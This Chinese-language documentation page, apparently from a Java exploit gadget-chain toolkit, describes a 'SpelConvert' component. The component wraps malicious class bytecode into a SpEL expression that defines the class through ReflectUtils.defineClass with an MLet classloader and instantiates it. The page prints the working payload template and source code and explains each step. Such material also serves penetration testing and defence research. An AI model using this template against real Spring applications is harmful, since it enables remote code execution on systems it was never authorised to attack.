Skip to content

Latest commit

 

History

History
57 lines (47 loc) · 4.94 KB

File metadata and controls

57 lines (47 loc) · 4.94 KB

将byte[]字节码转换为SPEL表达式字符串(SpelConvert)

  • 类别:common 别名:— 优先级:—
  • 作者:—
  • 依赖spring:org.springframework.cglib.core.ReflectUtils / org.springframework.util.Base64Utils / org.springframework.util.ClassUtils(需 spring-core + spring-expression)

作用

一个「字节码 → SpEL 表达式」转换器(Convert 型 gadget):取下游产出的 byte[] 字节码,Base64 编码后填入 SpEL 模板,生成一段用 org.springframework.cglib.core.ReflectUtils.defineClass(...) 动态定义并实例化任意类的 Spring Expression Language 字符串。供上游 SpEL 注入 sink(消费 SpEL_Expr)拼装成完整攻击表达式。

链接标签

  • 入口 tagsSpEL_ExprExpression
    • SpEL_Expr —— 产出「SpEL 表达式片段」,供消费该 tag 的上游 SpEL 注入载体承接。
    • Expression —— 表达式字符串型产物。
  • 衔接 nextTagsBytecodeConvertTag —— 之后需接一个产出「字节码 byte[]」的 gadget(即 BytecodeConvert 系列),本类从其取回字节码。
  • excludes:无。

源码剖析

public static String spelTemplate = "T(org.springframework.cglib.core.ReflectUtils).defineClass('%s',T(org.springframework.util.Base64Utils).decodeFromString('%s'),new javax.management.loading.MLet(new java.net.URL[0],T(java.lang.Thread).currentThread().getContextClassLoader())).newInstance()";

private String getObject(byte[] bytecode, String className) {
    String bytecodeB64 = Base64.encodeBase64String((byte[])bytecode);
    return String.format(spelTemplate, className, bytecodeB64);
}

@Override
public Object invoke(GadgetContext context, GadgetChain chain) throws Exception {
    Object bytecode = chain.doCreate(context);
    String className = context.getString(ContextTag.CLASS_NAME_KEY);
    return this.getObject((byte[])bytecode, className);
}

逐段解释:

  • invoke()chain.doCreate(context) 触发下游(nextTags=BytecodeConvertTag,即 BytecodeConvert)生成恶意类的 byte[] 字节码;再从上下文取 ContextTag.CLASS_NAME_KEY 得到该类的类名(与字节码里的类名一致,defineClass 要求名称匹配)。
  • getObject()org.apache.commons.codec.binary.Base64.encodeBase64String 把字节码编成 Base64 文本,再 String.format 填进 spelTemplate
  • SpEL 模板逐部分解读:
    • T(org.springframework.cglib.core.ReflectUtils).defineClass('<className>', <bytes>, <classLoader>) —— T(...) 是 SpEL 的类型引用,ReflectUtils.defineClass 把 Base64 解码得到的字节码在指定 ClassLoader 中定义为一个真实的 Class
    • T(org.springframework.util.Base64Utils).decodeFromString('<b64>') —— 运行时用 Spring 的 Base64Utils 把 Base64 文本解回 byte[] 作为 defineClass 的第二个参数。
    • new javax.management.loading.MLet(new java.net.URL[0], ...getContextClassLoader()) —— 构造一个 MLetURLClassLoader 子类)作为定义类所用的 ClassLoader,父加载器取当前线程上下文 ClassLoader;用 MLet 是为了绕开 ReflectUtils.defineClass 对 ClassLoader 的可访问性/兼容性要求。
    • .newInstance() —— 定义完成后立即实例化恶意类,触发其构造/静态逻辑(即最终 sink,如命令执行)。
  • 返回的是不带 ${...} 包裹的纯 SpEL 表达式(见 description),由上游 SpEL 注入 gadget 视语境自行决定是否加解析定界符。

参数(@Param)

本类无 @Param。类名由上下文 CLASS_NAME_KEY 提供,字节码由下游 BytecodeConvert 生成。

适用版本与原理要点

  • 依赖 Spring:需 spring-core(提供 Base64Utils/ClassUtils/内嵌 cglibReflectUtils)与 spring-expression(SpEL 解析)。注意 org.springframework.util.Base64Utils 在 spring-core 6.2 之后被移除,运行环境需保留该类。
  • ReflectUtils.defineClass 的可用签名随 Spring/cglib 版本略有差异;模板选用 3 参数(className、bytes、ClassLoader)形式并显式传 MLet,兼顾多版本。
  • 产物为字符串型中间件:本身不执行,须被 SpEL 注入点(SpelExpressionParser.parseExpression(...).getValue() 等)实际求值才触发 defineClass + newInstance
  • 默认不含 ${X} 外层定界,适配直接求值场景;若目标是模板解析(TemplateParserContext)则需上游补上 #{}/${}

所属预设链

自由构件,未直接出现在预设链(usedInChains 为空)。作为字节码→SpEL 的通用转换环,可插入任意 SpEL 注入利用中。

关联

  • 下游(nextTags=BytecodeConvertTag):BytecodeConvert(生成恶意类字节码),其内层通常再接 Exec 等 sink。
  • 上游:消费 SpEL_Expr 的 SpEL 注入载体(如 Spring 相关表达式注入 gadget),负责把本片段投递到实际 SpEL 求值点。